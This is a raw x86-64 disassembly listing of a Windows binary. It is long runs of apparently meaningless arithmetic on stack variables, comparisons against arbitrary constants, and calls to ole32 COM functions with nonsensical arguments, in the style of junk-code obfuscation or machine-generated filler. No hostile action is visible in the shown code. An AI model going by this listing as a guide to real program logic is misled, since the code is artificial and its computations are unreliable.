mov qword [rbp + 0x16390], rax
lea rax, [rbp + 0x644]
mov qword [rbp + 0x4020], rax
jmp 0x1400092a2
movzx eax, word [rbp + 0x4328]
movzx eax, ax
mov ecx, eax
call fcn.1400e3a71
nop
jmp 0x14000933e
mov ecx, dword [rbp + 0x644]
mov edx, dword [rbp + 0x129c]
mov rax, qword [rbp + 0x4020]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x1f10]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x4e8]
add rax, rdx
mov qword [rbp + 0x1818], rax
jmp 0x14000933e
mov rax, qword [rbp + 0x4448]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x1f10]
mov rax, qword [rax]
mov rcx, rdx
sub rcx, rax
mov rax, qword [rbp + 0x15990]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2898]
mov rax, qword [rax]
add rax, rdx
cmp rcx, rax
jne 0x14000935c
lea rcx, [rbp + 0x25d8]
lea rdx, [rbp + 0x7f0]
lea rax, [rbp + 0x2de8]
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoGetInterfaceAndReleaseStream]
call rax
mov dword [rbp + 0x1598c], eax
jmp 0x14000935c
nop
jmp 0x14000935c
mov rax, qword [rbp + 0x4020]
mov ecx, dword [rax]
mov edx, dword [section..data]
mov rax, qword [rbp + 0x4020]
add edx, ecx
mov dword [rax], edx
jmp 0x14000935d
nop
nop
jmp 0x14000937f
movzx eax, word [rbp + 0x302]
mov edx, eax
movzx eax, word [rbp + 0x2ee]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov word [rbp + 0x421e], ax
jmp 0x140009380
nop
jmp 0x1400093db
mov rax, qword [rbp + 0x15990]
mov rdx, qword [rax]
movabs rax, 0x5f2f4705dca0304a
cmp rdx, rax
jne 0x1400093c2
lea rdx, [rbp + 0x898]
lea rax, [rbp + 0x10c0]
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoGetCallContext]
call rax
mov dword [rbp + 0x1599c], eax
call fcn.1400e3351
jmp 0x1400093da
mov rax, qword [rbp + 0x4020]
mov edx, dword [rax]
mov eax, dword [rbp + 0x644]
sub edx, eax
mov dword [section..data], edx
nop
nop
jmp 0x1400097d5
movzx eax, byte [rbp + 0x3b7]
sub eax, 0x1e
mov byte [rbp + 0x43bd], al
mov ecx, dword [rbp + 0x129c]
mov edx, dword [rbp + 0x3d50]
mov rax, qword [rbp + 0x4020]
sub ecx, edx
mov dword [rax], ecx
mov rcx, qword [rbp + 0x1818]
mov rdx, qword [rbp + 0xa00]
mov rax, qword [rbp + 0x2898]
and rdx, rcx
mov qword [rax], rdx
mov edx, dword [rbp + 0x3d50]
mov eax, dword [rbp + 0x644]
xor eax, edx
mov dword [rbp + 0x129c], eax
mov rax, qword [rbp + 0x16390]
mov edx, dword [rax]
mov rax, qword [rbp + 0x16d8]
mov eax, dword [rax]
mov ecx, eax
shl edx, cl
mov eax, edx
mov dword [rbp + 0x57c], eax
mov r8d, dword [rbp + 0x3d50]
mov edx, dword [rbp + 0x644]
mov rax, qword [rbp + 0x4020]
mov ecx, edx
sar r8d, cl
mov edx, r8d
mov dword [rax], edx
mov rax, qword [rbp + 0x16d8]
mov edx, dword [rax]
mov eax, dword [rbp + 0x1bbc]
or edx, eax
mov rax, qword [rbp + 0x16390]
mov dword [rax], edx
mov ecx, dword [rbp + 0x129c]
mov edx, dword [rbp + 0x3d50]
mov rax, qword [rbp + 0x4020]
add edx, ecx
mov dword [rax], edx
mov rcx, qword [rbp + 0x4e8]
mov rdx, qword [0x1400fd030]
mov rax, qword [0x1400fd038]
sub rcx, rdx
mov qword [rax], rcx
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x2898]
and rdx, rcx
mov qword [rax], rdx
movzx eax, byte [rbp + 0x51f]
add eax, 0x57
mov byte [rbp + 0x2a9d], al
mov edx, dword [rbp + 0x644]
mov rax, qword [rbp + 0x4020]
mov eax, dword [rax]
sub edx, eax
mov dword [rbp + 0x129c], edx
mov rdx, qword [rbp + 0x1fd8]
mov rax, qword [rbp + 0x162e8]
add rax, rdx
mov qword [rbp + 0x3798], rax
mov rdx, qword [rbp + 0x1818]
mov rax, qword [rbp + 0xa00]
add rax, rdx
mov qword [rbp + 0x4e8], rax
mov rax, qword [rbp + 0x16d8]
mov edx, dword [rax]
mov eax, dword [rbp + 0x1bbc]
add eax, edx
mov dword [rbp + 0x35b4], eax
movzx eax, byte [rbp + 0x43bd]
add eax, 0x42
mov byte [rbp + 0x3b7], al
mov ecx, dword [section..data]
mov edx, dword [rbp + 0x129c]
mov rax, qword [rbp + 0x4020]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [rbp + 0x2898]
mov rcx, qword [rax]
mov rax, qword [rbp + 0x1f10]
mov rdx, qword [rax]
mov rax, qword [0x1400fd038]
add rdx, rcx
mov qword [rax], rdx
movzx eax, byte [rbp + 0x51f]
xor eax, 0x6f
mov byte [rbp + 0x2a9d], al
movzx eax, byte [rbp + 0x3b7]
or eax, 7
mov byte [rbp + 0x43bd], al
mov rax, qword [rbp + 0x4020]
mov edx, dword [rax]
mov eax, dword [rbp + 0x129c]
mov ecx, eax
sar edx, cl
mov eax, edx
mov dword [rbp + 0x3d50], eax
mov edx, dword [rbp + 0x1bbc]
mov rax, qword [rbp + 0x16d8]
mov eax, dword [rax]
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x16390]
mov dword [rax], edx
mov rax, qword [rbp + 0x1f10]
mov rdx, qword [rax]
mov rax, qword [rbp + 0xa00]
and rax, rdx
mov qword [rbp + 0x1818], rax
sub dword [rbp + 0x16370], 0x4a
mov rdx, qword [rbp + 0x1fd8]
mov rax, qword [rbp + 0x3798]
sub rdx, rax
mov qword [rbp + 0x162e8], rdx
movzx eax, word [rbp + 0x302]
mov edx, eax
movzx eax, word [rbp + 0x2ee]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov word [rbp + 0x421e], ax
mov ecx, dword [rbp + 0x129c]
mov edx, dword [rbp + 0x3d50]
mov rax, qword [rbp + 0x4020]
and edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x4020]
mov edx, dword [rax]
mov eax, dword [rbp + 0x644]
add eax, edx
mov dword [section..data], eax
movzx eax, word [rbp + 0x2ee]
mov edx, eax
movzx eax, word [rbp + 0x421e]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov word [rbp + 0x302], ax
mov ecx, dword [rbp + 0x644]
mov edx, dword [rbp + 0x3d50]
mov rax, qword [rbp + 0x4020]
add edx, ecx
mov dword [rax], edx
mov edx, dword [rbp + 0x57c]
mov rax, qword [rbp + 0x16d8]
mov eax, dword [rax]
sub edx, eax
mov rax, qword [rbp + 0x16390]
mov dword [rax], edx
mov rax, qword [rbp + 0x4448]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x1818]
add rax, rdx
mov qword [rbp + 0xa00], rax
mov rax, qword [rbp + 0x1fd8]
mov rdx, qword [rbp + 0x162e8]
mov ecx, edx
shr rax, cl
mov qword [rbp + 0x3798], rax
mov rax, qword [rbp + 0x4020]
mov edx, dword [rax]
mov eax, dword [rbp + 0x3d50]
or eax, edx
mov dword [rbp + 0x129c], eax
mov r8d, dword [rbp + 0x644]
mov edx, dword [rbp + 0x129c]
mov rax, qword [rbp + 0x4020]
mov ecx, edx
shl r8d, cl
mov edx, r8d
mov dword [rax], edx
movzx eax, byte [rbp + 0x51f]
xor eax, 0x12
mov byte [rbp + 0x2a9d], al
mov rax, qword [0x1400fd038]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x1818]
mov rax, qword [0x1400fd038]
and rdx, rcx
mov qword [rax], rdx
movzx eax, word [rbp + 0x421e]
mov edx, eax
movzx eax, word [rbp + 0x302]
add eax, edx
mov word [rbp + 0x2ee], ax
mov rax, qword [rbp + 0x4020]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x129c]
mov rax, qword [rbp + 0x4020]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x4020]
mov edx, dword [rax]
mov eax, dword [rbp + 0x129c]
sub edx, eax
mov dword [rbp + 0x3d50], edx
mov rax, qword [rbp + 0x16390]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x1bbc]
mov rax, qword [rbp + 0x16d8]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x16390]
mov edx, dword [rax]
mov rax, qword [rbp + 0x16d8]
mov eax, dword [rax]
and edx, eax
mov rax, qword [rbp + 0x16390]
mov dword [rax], edx
cmp dword [rbp + 0x16370], 0xb088
ja 0x1400093e0
movzx eax, word [rbp + 0x302]
cwde
cmp eax, 0x800
je 0x140009804
cmp eax, 0x5b8c
je 0x1400e2088
jmp 0x1400e2103
movzx eax, byte [rbp + 0x3b7]
movsx eax, al
cmp eax, 0xffffff9c
jne 0x1400098c9
lea rax, [rbp + 0x43bd]
mov qword [rbp + 0x2c00], rax
lea rax, section..data
mov qword [rbp + 0x163b0], rax
mov rdx, qword [rbp + 0xa00]
mov rax, qword [rbp + 0x4e8]
or rax, rdx
mov qword [rbp + 0x1818], rax
mov eax, dword [rbp + 0x129c]
cmp eax, 0x19edecc7
jne 0x140009890
mov rax, qword [rbp + 0x16d8]
mov edx, dword [rax]
mov eax, dword [rbp + 0x57c]
mov ecx, eax
shr edx, cl
mov rax, qword [rbp + 0x16390]
mov dword [rax], edx
mov rax, qword [rbp + 0x16390]
mov edx, dword [rax]
mov rax, qword [rbp + 0x16d8]
mov eax, dword [rax]
and eax, edx
mov dword [rbp + 0x1bbc], eax
jmp 0x1400098c7
mov rax, qword [rbp + 0x2c00]
movzx eax, byte [rax]
mov byte [rbp + 0x44ce], al
movzx eax, word [rbp + 0x421e]
mov word [rbp + 0x3d32], ax
lea rax, [rbp + 0x51f]
mov qword [rbp + 0x4180], rax
mov dword [rbp + 0x16330], 0x44b5
nop
jmp 0x1400098e5
mov rcx, qword [rbp + 0x1818]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [0x1400fd038]
sub rcx, rdx
mov qword [rax], rcx
nop
mov dword [rbp + 0x162e4], 0x624
lea rax, [rbp + 0x2a9d]
mov qword [rbp + 0x3538], rax
movzx eax, byte [rbp + 0x3b7]
movsx edx, al
mov rax, qword [rbp + 0x2c00]
movzx eax, byte [rax]
movsx eax, al
mov ecx, edx
sub ecx, eax
movzx eax, byte [rbp + 0x43bd]
movsx edx, al
movzx eax, byte [rbp + 0x44ce]
movsx eax, al
add eax, edx
cmp ecx, eax
jl 0x1400099d3
movzx eax, word [rbp + 0x2fd4]
movzx edx, ax
movzx eax, word [rbp + 0x232e]
movzx eax, ax
lea ecx, [rdx + rax]
movzx eax, word [rbp + 0x4328]
movzx edx, ax
movzx eax, word [rbp + 0x27c]
movzx eax, ax
add eax, edx
cmp ecx, eax
jge 0x1400099d3
lea rdx, [rbp + 0x16a4]
lea rax, [rbp + 0x34b0]
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoQueryAuthenticationServices]
call rax
mov dword [rbp + 0x10ec], eax
mov rax, qword [rbp + 0x4448]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x4e8]
and rax, rdx
mov qword [rbp + 0xa00], rax
mov r8d, dword [rbp + 0x57c]
movzx eax, byte [rbp + 0x3b7]
movsx ecx, al
movzx eax, byte [rbp + 0x44ce]
movsx edx, al
mov rax, qword [rbp + 0x16d8]
mov eax, dword [rax]
mov r9d, r8d
mov r8d, ecx
mov ecx, eax
call fcn.1400e3877
mov rdx, qword [rbp + 0x1fd8]
movabs rax, 0xa61a5ba9799c4baa
cmp rdx, rax
jne 0x140009a8e
movzx eax, word [rbp + 0x2ee]
movsx edx, ax
movzx eax, word [rbp + 0x421e]
cwde
lea ecx, [rdx + rax]
movzx eax, word [rbp + 0x302]
movsx edx, ax
movzx eax, word [rbp + 0x3d32]
cwde
sub edx, eax
cmp ecx, edx
jge 0x140009bbd
mov rax, qword [rbp + 0x16390]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x57c]
mov rax, qword [rbp + 0x16d8]
or edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x4020]
mov edx, dword [rax]
mov rax, qword [rbp + 0x163b0]
mov eax, dword [rax]
xor eax, edx
mov dword [rbp + 0x129c], eax
lea rax, [rbp + 0x4e8]
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoEnableCallCancellation]
call rax
mov dword [rbp + 0x15988], eax
mov r8d, dword [rbp + 0x1bbc]
mov edx, dword [rbp + 0x1cbc]
mov rax, qword [rbp + 0x16d8]
mov ecx, edx
shl r8d, cl
mov edx, r8d
mov dword [rax], edx
jmp 0x140009bbd
mov rax, qword [rbp + 0x3538]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x51f]
and eax, edx
movzx ecx, al
movzx eax, byte [rbp + 0x2a9d]
movzx edx, al
mov rax, qword [rbp + 0x4180]
movzx eax, byte [rax]
movzx eax, al
imul eax, edx
cmp ecx, eax
jg 0x140009ae1
mov rax, qword [rbp + 0x2c00]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x44ce]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x3b7], al
lea rcx, [rbp + 0x3170]
lea rdx, [rbp + 0x1818]
lea rax, [rbp + 0x644]
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_MonikerCommonPrefixWith]
call rax
mov dword [rbp + 0x1598c], eax
movzx eax, word [rbp + 0x27c]
movzx edx, word [rbp + 0x4328]
sub eax, edx
mov word [rbp + 0x2fd4], ax
mov rax, qword [rbp + 0x1fd8]
movabs rdx, 0x62ebe7c81b1bf700
cmp rax, rdx
je 0x140009ba3
movabs rdx, 0xc78e5da15dfb84ba
cmp rax, rdx
jne 0x140009bc0
lea r8, [rbp + 0x10c0]
lea rcx, [rbp + 0x4020]
lea rax, [rbp + 0x2d10]
lea rdx, [rbp + 0x34b0]
mov qword [rsp + 0x20], rdx
mov r9, r8
mov r8, rcx
mov edx, 0x45
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoGetClassObject]
call rax
mov dword [rbp + 0x15984], eax
movzx edx, byte [rbp + 0x51f]
mov rax, qword [rbp + 0x3538]
movzx ecx, byte [rax]
mov rax, qword [rbp + 0x4180]
sub edx, ecx
mov byte [rax], dl
jmp 0x140009bbb
mov rax, qword [rbp + 0x4020]
mov edx, dword [rax]
mov eax, dword [rbp + 0x129c]
add eax, edx
mov dword [section..data], eax
nop
jmp 0x140009bc0
nop
jmp 0x140009bc1
nop
movzx eax, byte [rbp + 0x51f]
mov byte [rbp + 0xbff], al
mov rax, qword [rbp + 0xa00]
test rax, rax
je 0x140009bee
movabs rdx, 0x3ddb072e77479d5b
cmp rax, rdx
je 0x140009c27
jmp 0x140009cb8
lea rax, [rbp + 0x232e]
mov qword [rbp + 0x1928], rax
mov rdx, qword [rbp + 0x1fd8]
mov rax, qword [rbp + 0x162e8]
add rax, rdx
mov qword [rbp + 0x3798], rax
lea rax, [rbp + 0x1cbc]
mov qword [rbp + 0x16318], rax
jmp 0x140009cb8
mov rdx, qword [rbp + 0x1fd8]
mov rax, qword [rbp + 0x3798]
sub rdx, rax
cmp qword [rbp + 0x162e8], rdx
je 0x140009c9a
mov rax, qword [rbp + 0x4020]
mov eax, dword [rax]
cmp eax, 0x4424e19c
jne 0x140009c78
movzx eax, byte [rbp + 0x44ce]
movsx edx, al
movzx eax, byte [rbp + 0x44ce]
movsx eax, al
mov rcx, qword [rbp + 0x162e8]
mov r8, rcx
mov ecx, eax
call fcn.1400e2f68
jmp 0x140009cb7
lea rdx, [rbp + 0x232e]
lea rax, [rbp + 0x2d10]
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoAllowSetForegroundWindow]
call rax
mov dword [rbp + 0x10ec], eax
jmp 0x140009cb7
mov rax, qword [0x1400fd038]
mov rdx, qword [rax]
mov rax, qword [rbp + 0xa00]
add rax, rdx
mov qword [rbp + 0x4e8], rax
jmp 0x140009cb7
nop
mov rdx, qword [rbp + 0x3798]
movabs rax, 0xb2e361dcefe3e0ce
cmp rdx, rax
jne 0x140009cf8
mov rcx, qword [rbp + 0x3798]
mov rax, qword [rbp + 0x2c00]
movzx eax, byte [rax]
movsx edx, al
movzx eax, byte [rbp + 0x43bd]
movsx eax, al
mov r8, rcx
mov ecx, eax
call fcn.1400e2f68
jmp 0x140009d62
mov rax, qword [rbp + 0x163b0]
mov eax, dword [rax]
mov dword [rbp + 0x968], eax
movzx edx, word [rbp + 0x2ee]
movzx eax, word [rbp + 0x3d32]
or eax, edx
mov word [rbp + 0x421e], ax
mov dword [rbp + 0x163a4], 0xd962
mov rax, qword [rbp + 0x4180]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0xbff]
xor eax, edx
mov byte [rbp + 0x51f], al
movzx eax, byte [rbp + 0x43bd]
movsx edx, al
movzx eax, byte [rbp + 0x3b7]
movsx eax, al
mov ecx, eax
shl edx, cl
mov eax, edx
mov byte [0x1400f9004], al
nop
mov rax, qword [rbp + 0x2c00]
movzx eax, byte [rax]
mov byte [rbp + 0x184e], al
lea rax, [rbp + 0x3d32]
mov qword [rbp + 0x15978], rax
mov rax, qword [rbp + 0x2c00]
movzx eax, byte [rax]
movsx eax, al
cmp eax, 5
jne 0x140009e0e
mov rax, qword [rbp + 0x3538]
movzx eax, byte [rax]
movzx edx, al
movzx eax, byte [rbp + 0xbff]
movzx eax, al
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x3538]
mov byte [rax], dl
lea r8, [rbp + 0x2100]
lea rcx, [rbp + 0x10c0]
lea rax, [rbp + 0x2100]
lea rdx, [rbp + 0xbff]
mov qword [rsp + 0x20], rdx
mov r9, r8
mov r8, rcx
mov edx, 0xfe
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoInstall]
call rax
mov dword [rbp + 0x159ac], eax
mov rdx, qword [rbp + 0x1fd8]
mov rax, qword [rbp + 0x3798]
sub rdx, rax
mov qword [rbp + 0x162e8], rdx
jmp 0x140009e70
movabs rax, 0xcdd74e7966ebc717
cmp qword [rbp + 0x162e8], rax
jne 0x140009e6e
mov edx, dword [rbp + 0x1bbc]
mov eax, dword [rbp + 0x57c]
and edx, eax
mov rax, qword [rbp + 0x16318]
mov dword [rax], edx
mov rax, qword [rbp + 0x16390]
mov r8d, dword [rax]
mov rax, qword [rbp + 0x2c00]
movzx eax, byte [rax]
movsx ecx, al
movzx eax, byte [rbp + 0x3b7]
movsx edx, al
mov eax, dword [rbp + 0x57c]
mov r9d, r8d
mov r8d, ecx
mov ecx, eax
call fcn.1400e3877
jmp 0x140009e6f
nop
nop
mov rdx, qword [rbp + 0xa00]
mov rax, qword [rbp + 0x1818]
add rax, rdx
mov qword [rbp + 0x4e8], rax
mov eax, dword [rbp + 0x35b4]
test eax, eax
je 0x14000a178
cmp eax, 0x26f88a6b
je 0x1400e1edd
jmp 0x1400e2019
mov rax, qword [rbp + 0x3538]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0xbff]
mov rax, qword [rbp + 0x4180]
and edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x1f10]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x1818]
add rax, rdx
mov qword [rbp + 0xa00], rax
mov rax, qword [rbp + 0x16390]
mov edx, dword [rax]
mov eax, dword [rbp + 0x1cbc]
sub edx, eax
mov dword [rbp + 0x35b4], edx
mov rax, qword [rbp + 0x1928]
movzx edx, word [rax]
movzx eax, word [rbp + 0x4328]
add eax, edx
mov word [rbp + 0x2fd4], ax
mov rcx, qword [rbp + 0x1818]
mov rdx, qword [rbp + 0xa00]
mov rax, qword [0x1400fd038]
add rdx, rcx
mov qword [rax], rdx
movzx eax, word [rbp + 0x3d32]
mov edx, eax
movzx eax, word [rbp + 0x421e]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x15978]
mov word [rax], dx
mov rax, qword [rbp + 0x2c00]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x184e]
add eax, edx
mov byte [rbp + 0x43bd], al
movzx ecx, word [rbp + 0x4328]
movzx edx, word [rbp + 0x2fd4]
mov rax, qword [rbp + 0x1928]
add edx, ecx
mov word [rax], dx
mov rdx, qword [rbp + 0x1fd8]
mov rax, qword [rbp + 0x162e8]
add rax, rdx
mov qword [rbp + 0x3798], rax
mov edx, dword [rbp + 0x1bbc]
mov rax, qword [rbp + 0x16390]
mov eax, dword [rax]
mov ecx, eax
shl edx, cl
mov eax, edx
mov dword [rbp + 0x35b4], eax
mov rax, qword [rbp + 0x1f10]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2898]
mov rax, qword [rax]
or rax, rdx
mov qword [rbp + 0x1818], rax
mov rax, qword [rbp + 0x4020]
mov edx, dword [rax]
mov rax, qword [rbp + 0x163b0]
mov eax, dword [rax]
mov ecx, eax
sar edx, cl
mov eax, edx
mov dword [rbp + 0x644], eax
movzx ecx, word [rbp + 0x232e]
movzx edx, word [rbp + 0x4328]
mov rax, qword [rbp + 0x1928]
xor edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x163b0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x4020]
mov eax, dword [rax]
and eax, edx
mov dword [section..data], eax
mov rax, qword [rbp + 0x15978]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x302]
add eax, edx
mov word [rbp + 0x2ee], ax
mov rax, qword [rbp + 0x2c00]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x43bd]
add eax, edx
mov byte [rbp + 0x44ce], al
mov rax, qword [rbp + 0x15978]
movzx edx, word [rax]
movzx eax, word [rbp + 0x3d32]
and eax, edx
mov word [rbp + 0x2ee], ax
mov rax, qword [rbp + 0x1fd8]
mov rdx, qword [rbp + 0x162e8]
sub rdx, rax
mov qword [rbp + 0x3798], rdx
mov rax, qword [rbp + 0x4020]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x644]
mov rax, qword [rbp + 0x4020]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [rbp + 0x15990]
mov rdx, qword [rax]
mov rax, qword [rbp + 0xa00]
add rax, rdx
mov qword [rbp + 0x1818], rax
mov rax, qword [rbp + 0x16d8]
mov edx, dword [rax]
mov rax, qword [rbp + 0x16318]
mov eax, dword [rax]
sub edx, eax
mov dword [rbp + 0x35b4], edx
movzx edx, word [rbp + 0x2fd4]
movzx ecx, word [rbp + 0x232e]
mov rax, qword [rbp + 0x1928]
sub edx, ecx
mov word [rax], dx
add dword [rbp + 0x16330], 0x66
movzx eax, byte [rbp + 0x43bd]
movsx edx, al
mov rax, qword [rbp + 0x2c00]
movzx eax, byte [rax]
movsx eax, al
mov ecx, eax
sar edx, cl
mov eax, edx
mov byte [0x1400f9004], al
mov rax, qword [rbp + 0x2c00]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x44ce]
mov rax, qword [rbp + 0x2c00]
or edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x1928]
movzx edx, word [rax]
movzx eax, word [rbp + 0x232e]
xor eax, edx
mov word [rbp + 0x2fd4], ax
mov rax, qword [rbp + 0x2c00]
movzx eax, byte [rax]
movsx edx, al
movzx eax, byte [rbp + 0x44ce]
movsx eax, al
mov ecx, eax
shl edx, cl
mov eax, edx
mov byte [rbp + 0x184e], al
cmp dword [rbp + 0x16330], 0x51da
jbe 0x140009ea6
mov rax, qword [rbp + 0x163b0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x4020]
mov eax, dword [rax]
and eax, edx
mov dword [rbp + 0x1bf8], eax
mov rdx, qword [rbp + 0x3798]
mov rax, qword [rbp + 0x162e8]
add rax, rdx
mov qword [rbp + 0x1fd8], rax
mov rdx, qword [rbp + 0x1fd8]
mov rax, qword [rbp + 0x162e8]
add rdx, rax
mov rax, qword [rbp + 0x3798]
cmp rdx, rax
jne 0x14000a241
mov rax, qword [rbp + 0x1928]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0xf90
jne 0x14000a213
mov rax, qword [sym.imp.ole32.dll_CoSuspendClassObjects]
call rax
mov dword [rbp + 0x159a8], eax
mov rax, qword [rbp + 0x16d8]
mov edx, dword [rax]
mov eax, dword [rbp + 0x1cbc]
sub edx, eax
mov dword [rbp + 0x1bbc], edx
jmp 0x14000a241
mov rax, qword [sym.imp.ole32.dll_CoTestCancel]
call rax
mov dword [rbp + 0x15974], eax
mov rcx, qword [rbp + 0x1818]
mov rax, qword [rbp + 0x4448]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2898]
sub rcx, rdx
mov qword [rax], rcx
nop
movzx eax, word [rbp + 0x421e]
mov edx, eax
movzx eax, word [rbp + 0x2ee]
imul eax, edx
mov word [rbp + 0x302], ax
movzx edx, byte [rbp + 0x3b7]
movzx eax, byte [rbp + 0x184e]
and eax, edx
mov byte [0x1400f9005], al
mov eax, dword [rbp + 0x1bbc]
cmp eax, 0x7431df6d
jne 0x14000a418
mov rax, qword [rbp + 0x1928]
movzx edx, word [rax]
movzx ecx, word [rbp + 0x27c]
mov rax, qword [rbp + 0x1928]
sub edx, ecx
mov word [rax], dx
lea rdx, [rbp + 0x2a34]
lea rax, [rbp + 0x3d32]
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoSwitchCallContext]
call rax
mov dword [rbp + 0x15988], eax
movzx eax, word [rbp + 0x232e]
movzx edx, ax
mov rax, qword [rbp + 0x1928]
movzx eax, word [rax]
movzx eax, ax
add edx, eax
movzx ecx, word [rbp + 0x4328]
movzx eax, word [rbp + 0x2fd4]
or eax, ecx
movzx eax, ax
cmp edx, eax
jl 0x1400e1e6e
mov rax, qword [rbp + 0x2c00]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x3b7]
xor eax, edx
mov byte [rbp + 0x44ce], al
movzx eax, word [rbp + 0x2fd4]
movzx eax, ax
cmp eax, 0x769
je 0x14000a3fe
cmp eax, 0xc04
jne 0x1400e1e6e
mov edx, dword [rbp + 0x57c]
mov eax, dword [rbp + 0x1bbc]
mov ecx, eax
shr edx, cl
mov rax, qword [rbp + 0x16318]
mov dword [rax], edx
mov edx, dword [rbp + 0x1cbc]
mov eax, dword [rbp + 0x35b4]
mov ecx, eax
shl edx, cl
mov eax, edx
mov ecx, dword [rbp + 0x57c]
mov edx, dword [rbp + 0x1bbc]
and edx, ecx
cmp edx, eax
jb 0x14000a3c0
mov rax, qword [rbp + 0x4020]
mov edx, dword [rax]
mov rax, qword [rbp + 0x163b0]
mov eax, dword [rax]
add eax, edx
mov dword [rbp + 0x968], eax
mov rcx, qword [rbp + 0xa00]
mov rdx, qword [0x1400fd030]
mov rax, qword [rbp + 0x2898]
add rdx, rcx
mov qword [rax], rdx
lea rdx, [rbp + 0x4448]
lea rax, [rbp + 0x25d8]
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_OleDoAutoConvert]
call rax
mov dword [rbp + 0x15974], eax
jmp 0x14000a411
mov edx, dword [rbp + 0x129c]
mov eax, dword [rbp + 0x3d50]
lea ecx, [rdx + rax]
mov rax, qword [rbp + 0x4020]
mov edx, dword [rax]
mov eax, dword [rbp + 0x968]
sub edx, eax
cmp ecx, edx
jge 0x14000a411
mov rax, qword [rbp + 0x3798]
mov rdx, qword [rbp + 0x162e8]
sub rdx, rax
mov qword [rbp + 0x1fd8], rdx
jmp 0x14000a411
movzx eax, word [rbp + 0x4328]
movzx eax, ax
mov ecx, eax
call fcn.1400e3972
jmp 0x14000a412
nop
jmp 0x1400e1e6e
nop
mov rax, qword [rbp + 0x2c00]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x3b7]
and eax, edx
mov byte [0x1400f9005], al
mov rax, qword [rbp + 0x4180]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0xbff]
add eax, edx
mov byte [rbp + 0x51f], al
mov rax, qword [rbp + 0x1928]
movzx eax, word [rax]
movzx edx, word [rbp + 0x27c]
sub eax, edx
mov word [rbp + 0x2fd4], ax
movzx eax, word [rbp + 0x3d32]
mov edx, eax
movzx eax, word [rbp + 0x2ee]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x15978]
mov word [rax], dx
mov rax, qword [rbp + 0x4180]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0xbff]
xor eax, edx
mov byte [rbp + 0x2a9d], al
mov edx, dword [rbp + 0x1bbc]
mov rax, qword [rbp + 0x16318]
mov eax, dword [rax]
mov ecx, eax
shr edx, cl
mov rax, qword [rbp + 0x16390]
mov dword [rax], edx
mov rax, qword [rbp + 0x4e8]
mov rdx, qword [rbp + 0xa00]
mov ecx, edx
shl rax, cl
mov qword [rbp + 0x1818], rax
movzx ecx, word [rbp + 0x4328]
movzx edx, word [rbp + 0x27c]
mov rax, qword [rbp + 0x1928]
or edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x163b0]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x968]
mov rax, qword [rbp + 0x4020]
and edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x4020]
mov edx, dword [rax]
mov eax, dword [rbp + 0x644]
add eax, edx
mov dword [section..data], eax
mov rax, qword [rbp + 0x2c00]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x44ce]
sub edx, eax
mov rax, qword [rbp + 0x2c00]
mov byte [rax], dl
mov rax, qword [rbp + 0x1928]
movzx edx, word [rax]
movzx eax, word [rbp + 0x232e]
add eax, edx
mov word [rbp + 0x2fd4], ax
